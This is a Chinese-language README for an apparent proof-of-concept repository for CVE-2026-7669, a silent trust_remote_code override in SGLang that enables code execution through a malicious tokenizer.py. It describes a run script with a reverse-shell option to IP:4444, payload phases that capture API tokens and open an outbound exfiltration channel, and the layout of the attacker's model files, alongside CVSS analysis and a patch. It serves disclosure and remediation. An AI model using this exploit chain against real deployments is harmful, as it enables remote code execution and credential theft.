
CVE-2026-7669 的 PoC:SGLang 静默 trust_remote_code 覆盖 -> RCE
SGLang 在 transformers v5 返回 TokenizersBackend 对象时,会静默地将 trust_remote_code=False 覆盖为 True 并重新调用 AutoTokenizer.from_pretrained。即使操作者传入了 False,带有自定义 tokenizer_class 且 auto_map 指向 tokenizer.py 的模型仍可在 SGLang 进程内实现任意代码执行。任何日志级别均不会输出任何日志行。
main(提交 fae90abf6)python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 高危if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
由 PR #17784(提交 d1e95af28,2026-03-18)引入。原始的 logger.info(...) 提示信息被提交 27ac831a8(2026-03-23)以“docs: improve CI and testing documentation”为标题移除,导致该覆盖行为在所有已发布的受影响版本中完全静默。
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
构建一个 Docker 镜像(python:3.12.7-slim-bookworm + transformers==5.3.0 + 固定版本的 SGLang 源码)并运行 PoC。首次运行约需 30-60 秒。无需 GPU。
其他模式:
./run.sh --server 通过 TokenizerManager.__init__ 复现
./run.sh --versions transformers 5.0..5.5 矩阵
./run.sh --revshell IP 可选的反向 shell 到 IP:4444
./run.sh --rebuild 强制 --no-cache 重新构建
./run.sh --copy-ledger ./ledger.json
退出码 0 表示已确认。最终摘要:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
退出码:
| 代码 | 含义 |
|---|---|
| 0 | 已确认 |
| 1 | 未触发 |
| 2 | 误报(transformers 自身执行了 tokenizer.py,漏洞在上游) |
| 3 | 固定版本预检失败 |
预检阶段读取 pinned_versions.json 并将每个值与运行时环境进行断言。任何偏差都会在任何测试运行前以退出码 3 退出。
| 组件 | 固定值 |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| SGLang 提交 | fae90abf6e15aaffb6fd924a439253674771487d |
hf_transformers_utils.py SHA256 | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| 漏洞代码块(第 898-909 行)SHA256 | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| 指标 | 值 | 依据 |
|---|---|---|
| AV | N | 触发文件(config.json、tokenizer_config.json、tokenizer.json、tokenizer.py)是标准的 HF Hub auto_map 布局。任何提供这些文件的注册表均可触达该漏洞。 |
| AC | L | PHASE-2 在单次运行中确定性触发。所有触发条件均为攻击者编写的内容。PRE-1..7 确认不存在环境指纹识别。 |
| PR | N | 免费 HF Hub 上传即可满足。触发链中没有任何环节需要受害者的既有权限。 |
| UI | R | 触发仅在操作者(或操作者配置的流水线)调用 launch_server --model-path attacker/model 时发生。 |
| S | U | 所有 SEV-* 声明均在 SGLang 进程权限内运行。无沙箱或容器逃逸。 |
| C | H | SEV-secrets 从进程环境中捕获 HF_TOKEN、OPENAI_API_KEY、ANTHROPIC_API_KEY、GPG_KEY。SEV-network 打开出站 TCP 外传通道。 |
| I | H | SEV-write-sglang、SEV-write-launchsrv、SEV-write-model、SEV-pip 是位于不同敏感位置的四个独立完整性原语。 |
| A | H | 由 RCE 推断得出。SEV-pip 证明了任意子进程执行能力,这与自我 DoS 所需的原语相同。PoC 未直接演示自我终止。 |
8.8 是保守下限。9.6(含 S:C)和 10.0(同时含 S:C 和 UI:N)也可论证,但取决于评审者。
UI:N 不适用于本 CVE。SGLang 的 HTTP 服务器在 api_key=None 且 admin_api_key=None 时确实存在默认无认证绕过(由 AUTH-1 针对 decide_request_auth 原语在运行时验证),但没有任何 HTTP 端点在启动后触达 get_tokenizer(由 CHAIN-1 验证)。所有四个 get_tokenizer 调用点(TokenizerManager.__init__、Scheduler.__init__、TPWorker.__init__、DetokenizerManager.__init__)均在服务器启动时由操作者提供的 --model-path 触发一次。因此,认证绕过是一个独立问题,不是 CVE-2026-7669 的链式伙伴。
PoC 在 /tmp/poc_claim_ledger.json 写入一个包含 29 条可单独测试声明的 JSON 账本。使用 ./run.sh --copy-ledger ./ledger.json 提取。
| 组 | 声明 |
|---|---|
PRE-1..7 | 固定版本(Python、transformers、文件 SHA256、行数、覆盖代码块 SHA256、默认 trust_remote_code、源码路径) |
SRC-1 | 导入的 get_tokenizer 源码包含覆盖逻辑 |
PHASE-1 | transformers 直接尊重 trust_remote_code=False |
PHASE-1b、PHASE-1b-mech | 移除第 898-909 行的 SGLang 尊重 False 且仅调用一次 from_pretrained |
PHASE-2、PHASE-2-mech、PHASE-2-silent | 真实 SGLang 执行 tokenizer.py。跟踪显示调用 0(False)->TokenizersBackend,调用 1(True)->MaliciousTokenizer。无任何日志行提及 trust_remote_code(对根和 sglang 日志记录器进行 DEBUG 捕获)。 |
PHASE-2b | 已修补 + 显式 True 仍可加载(修补是精准的) |
PHASE-3-rce、PHASE-3-via-override | 慢速分词器模式也通过相同的 898-909 路径实现 RCE |
SEV-write-sglang、SEV-write-launchsrv、SEV-write-model | 持久化和横向扩散原语 |
SEV-network | 出站 TCP 外传通道 |
SEV-secrets | 环境变量密钥捕获 |
SEV-pip | 任意 pip 安装(供应链) |
SEV-root | 进程在 lmsysorg 镜像中以 root 身份运行 |
AUTH-1 | 默认 ServerArgs(api_key=None、admin_api_key=None)使所有 ADMIN_OPTIONAL 端点无需认证即可访问 |
AUTH-2、AUTH-3 | 正向对照,确认中间件在配置后能阻止未认证请求并接受有效 bearer 令牌 |
CHAIN-1 | 无任何 HTTP 端点处理程序在启动后调用 get_tokenizer()(http_server.py 中零调用点) |
触发模型文件(全部由攻击者控制,全部为 HF Hub 所允许):
attacker/model/
config.json model_type "gpt2"(位于 transformers 的 TOKENIZER_MAPPING_NAMES 中)
tokenizer_config.json 自定义 tokenizer_class + auto_map -> tokenizer.py
tokenizer.json 有效的 BPE 分词器(使首次加载成功)
tokenizer.py 载荷
model.safetensors 虚拟权重
get_tokenizer(MODEL_DIR, trust_remote_code=False) 内部的执行流程:
AutoTokenizer.from_pretrained(..., trust_remote_code=False)。tokenizer_class 不在其注册表中,回退为由 tokenizer.json 构建的通用 TokenizersBackend。此时不会执行 tokenizer.py。type(tokenizer).__name__ == "TokenizersBackend" 并以 trust_remote_code=True 静默重试。tokenizer.py。顶层语句在 SGLang 进程内运行。PoC 的 PHASE-2-mech 逐字捕获跟踪:
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
{idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}]
删除第 898-909 行。TokenizersBackend 对许多工作负载而言是可用的分词器,按原样返回是安全的默认行为。如果模型确实需要自定义分词器代码,操作者应显式传入 --trust-remote-code。
或者,记录一条响亮的警告并返回 TokenizersBackend,而不重新调用 from_pretrained:
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
logger.warning(
"Model %s requires a custom tokenizer but trust_remote_code=False. "
"Returning generic TokenizersBackend without executing tokenizer.py. "
"Restart with --trust-remote-code if the custom code is required.",
tokenizer_name,
)
PHASE-2b 验证最小修补是精准的:显式 trust_remote_code=True 仍可加载模型。
trust_remote_code:https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrained本 PoC 用于防御性安全研究和修复。恶意 tokenizer.py 默认仅向容器内的 /tmp/sglang_poc_proof.txt 写入内容。请勿针对您不拥有或未经授权测试的系统运行。
CHAIN-2 | 明确判定:UI:N 不适用于本 CVE。默认无认证绕过确实存在,但无法触达 trust_remote_code 覆盖逻辑,因为所有四个 get_tokenizer 调用者(TokenizerManager / Scheduler / TPWorker / DetokenizerManager)均为在服务器启动时触发一次的 __init__ 路径。操作者仍在 launch_server 时选择模型路径,因此 UI:R 成立。 |